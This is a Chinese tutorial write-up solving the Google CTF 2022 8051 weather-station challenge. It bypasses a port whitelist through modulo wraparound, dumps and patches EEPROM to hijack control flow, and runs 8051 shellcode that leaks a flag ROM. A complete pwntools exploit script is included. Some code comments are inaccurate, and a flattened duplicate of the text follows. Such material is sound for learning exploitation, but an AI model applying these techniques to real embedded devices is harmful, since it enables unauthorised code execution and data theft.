GoogleCTF2022:PWN掉一款8051气象站
字数 1308 2025-08-06 21:48:53

Google CTF 2022: 8051气象站漏洞利用教学文档

1. 题目概述

这是一个基于8051微控制器的气象站系统,需要通过漏洞利用读取片内ROM中的flag。系统包含以下组件:

  • 带256字节片内ROM的8051芯片
  • I2C总线连接的5个传感器(湿度、光线x2、气压、温度)
  • I2C总线连接的EEPROM(用作运行时内存)

2. 硬件架构分析

2.1 特殊功能寄存器地址

// Secret ROM控制器
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

// 串口控制器
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;

// I2C DMA控制器
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS; // 7-bit地址
__sfr __at(0xe7) I2C_READ_WRITE;

// 电源控制器
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;

2.2 命令接口

系统通过串口接收两种命令:

  • 读操作: r [allowed port] [length]
  • 写操作: w [allowed port] [length] [int8] [int8] [int8]...

3. 漏洞分析

3.1 端口检查漏洞

系统允许的I2C端口列表:

const char *ALLOWED_I2C[] = {
    "101",  // 温度传感器(4x)
    "108",  // 气压传感器
    "110",  // 光线传感器A
    "111",  // 光线传感器B
    "119",  // 湿度传感器
    NULL
};

漏洞点:

  1. is_port_allowed() 只比较端口字符串的前三个字符
  2. str_to_uint8() 会对输入值进行模256运算

利用方式:101120+p 等同于 p 号端口,因为:

  • 101120 mod 256 = 101120 - 256*395 = 120
  • 前三个字符是"101"通过检查

3.2 EEPROM结构

根据datasheet,EEPROM (CTF-55930D) 有:

  • 64页
  • 每页64字节
  • 总容量:4KB

切换页的方法:写入pageIndex和0xa5 0x5a 0xa5 0x5a四个字节

4. 漏洞利用步骤

4.1 端口探测

通过101120+0101120+127扫描所有端口,发现:

  • 33号端口:EEPROM
  • 101号端口:温度传感器
  • 108号端口:气压传感器
  • 110号端口:光线传感器A
  • 111号端口:光线传感器B
  • 119号端口:湿度传感器

4.2 EEPROM转储

使用以下方法转储整个EEPROM:

  1. 切换页:w 101153 5 [page] 165 90 165 90
  2. 读取页:r 101153 64

Python脚本示例:

for i in range(64):
    p.sendlineafter('? ', 'w 101153 5 ' + str(i) + ' 165 90 165 90')
    p.sendlineafter('? ', 'r 101153 64')

4.3 EEPROM修改特性

EEPROM只能通过clearmask方式修改:

  • 可以将1置0,但不能将0置1
  • 例如:0xc7可以改为0xc0,但不能改为0xb5

4.4 控制流劫持

  1. 找到合适的跳转点:0xFA处的ljmp指令
  2. 修改0x13 0xbf 0x030x02 0x0a 0x03(跳转到0xa03
  3. 0xa03处部署shellcode

Shellcode示例:

mov DPTR, #0x8ED
mov B, #0x80
ljmp 0x114  ; 返回原控制流

4.5 读取FlagROM

FlagROM读取方法:

  1. 设置FLAGROM_ADDR为0-255
  2. 读取FLAGROM_DATA并发送到SERIAL_OUT_DATA

C代码示例:

FLAGROM_ADDR = 0;
while(FLAGROM_DATA) {
    while(!SERIAL_OUT_READY);  // 等待
    SERIAL_OUT_DATA = FLAGROM_DATA;
    FLAGROM_ADDR = FLAGROM_ADDR + 1;
}

5. 完整利用脚本

from pwn import *

context.arch = 'amd64'
HOST = 'weather.2022.ctfcompetition.com'
PORT = 1337

p = remote(HOST, PORT)

def pwn():
    # 切换页
    p.sendlineafter('? ', 'w 101153 5 3 165 90 165 90')
    p.sendlineafter('? ', 'r 101153 64')
    
    # 修改控制流
    shellcode = [
        0x75, 0xEE, 0x00,  # mov FLAGROM_ADDR, 0
        0xE5, 0xEF,         # mov A, FLAGROM_DATA
        0x60, 0x0F,         # jz exit
        0xE5, 0xF3,         # mov A, SERIAL_OUT_READY
        0x60, 0xFC,         # jz wait
        0x85, 0xEF, 0xF2,  # mov SERIAL_OUT_DATA, FLAGROM_DATA
        0xE5, 0xEE,         # mov A, FLAGROM_ADDR
        0xFF,               # mov R7, A
        0x04,               # inc A
        0xF5, 0xEE,         # mov FLAGROM_ADDR, A
        0x80, 0xED,         # sjmp loop
        0x90, 0x00, 0x00,  # nop
        0x02, 0x01, 0x14    # ljmp 0x114 (返回)
    ]
    
    # 构造写入命令
    payload = 'w 101153 ' + str(len(shellcode)+8) + ' 40 165 90 165 90 0 0 255'
    for byte in shellcode:
        payload += ' ' + str(byte ^ 255)
    
    p.sendlineafter('? ', payload)
    p.sendlineafter('? ', 'r 101168 64')
    p.interactive()

if __name__ == "__main__":
    pwn()

6. 关键知识点总结

  1. 端口检查绕过:利用字符串比较和模运算特性实现任意端口访问
  2. EEPROM操作:理解页切换机制和clearmask修改限制
  3. 控制流劫持:在8051架构上通过修改跳转指令实现代码执行
  4. FlagROM读取:通过特殊功能寄存器直接访问受保护的ROM区域

通过以上步骤,可以成功读取气象站系统中的flag数据。

Google CTF 2022: 8051气象站漏洞利用教学文档 1. 题目概述 这是一个基于8051微控制器的气象站系统,需要通过漏洞利用读取片内ROM中的flag。系统包含以下组件: 带256字节片内ROM的8051芯片 I2C总线连接的5个传感器(湿度、光线x2、气压、温度) I2C总线连接的EEPROM(用作运行时内存) 2. 硬件架构分析 2.1 特殊功能寄存器地址 2.2 命令接口 系统通过串口接收两种命令: 读操作: r [allowed port] [length] 写操作: w [allowed port] [length] [int8] [int8] [int8]... 3. 漏洞分析 3.1 端口检查漏洞 系统允许的I2C端口列表: 漏洞点: is_port_allowed() 只比较端口字符串的前三个字符 str_to_uint8() 会对输入值进行模256运算 利用方式: 101120+p 等同于 p 号端口,因为: 101120 mod 256 = 101120 - 256*395 = 120 前三个字符是"101"通过检查 3.2 EEPROM结构 根据datasheet,EEPROM (CTF-55930D) 有: 64页 每页64字节 总容量:4KB 切换页的方法:写入pageIndex和 0xa5 0x5a 0xa5 0x5a 四个字节 4. 漏洞利用步骤 4.1 端口探测 通过 101120+0 到 101120+127 扫描所有端口,发现: 33号端口:EEPROM 101号端口:温度传感器 108号端口:气压传感器 110号端口:光线传感器A 111号端口:光线传感器B 119号端口:湿度传感器 4.2 EEPROM转储 使用以下方法转储整个EEPROM: 切换页: w 101153 5 [page] 165 90 165 90 读取页: r 101153 64 Python脚本示例: 4.3 EEPROM修改特性 EEPROM只能通过clearmask方式修改: 可以将1置0,但不能将0置1 例如: 0xc7 可以改为 0xc0 ,但不能改为 0xb5 4.4 控制流劫持 找到合适的跳转点: 0xFA 处的 ljmp 指令 修改 0x13 0xbf 0x03 为 0x02 0x0a 0x03 (跳转到 0xa03 ) 在 0xa03 处部署shellcode Shellcode示例: 4.5 读取FlagROM FlagROM读取方法: 设置 FLAGROM_ADDR 为0-255 读取 FLAGROM_DATA 并发送到 SERIAL_OUT_DATA C代码示例: 5. 完整利用脚本 6. 关键知识点总结 端口检查绕过 :利用字符串比较和模运算特性实现任意端口访问 EEPROM操作 :理解页切换机制和clearmask修改限制 控制流劫持 :在8051架构上通过修改跳转指令实现代码执行 FlagROM读取 :通过特殊功能寄存器直接访问受保护的ROM区域 通过以上步骤,可以成功读取气象站系统中的flag数据。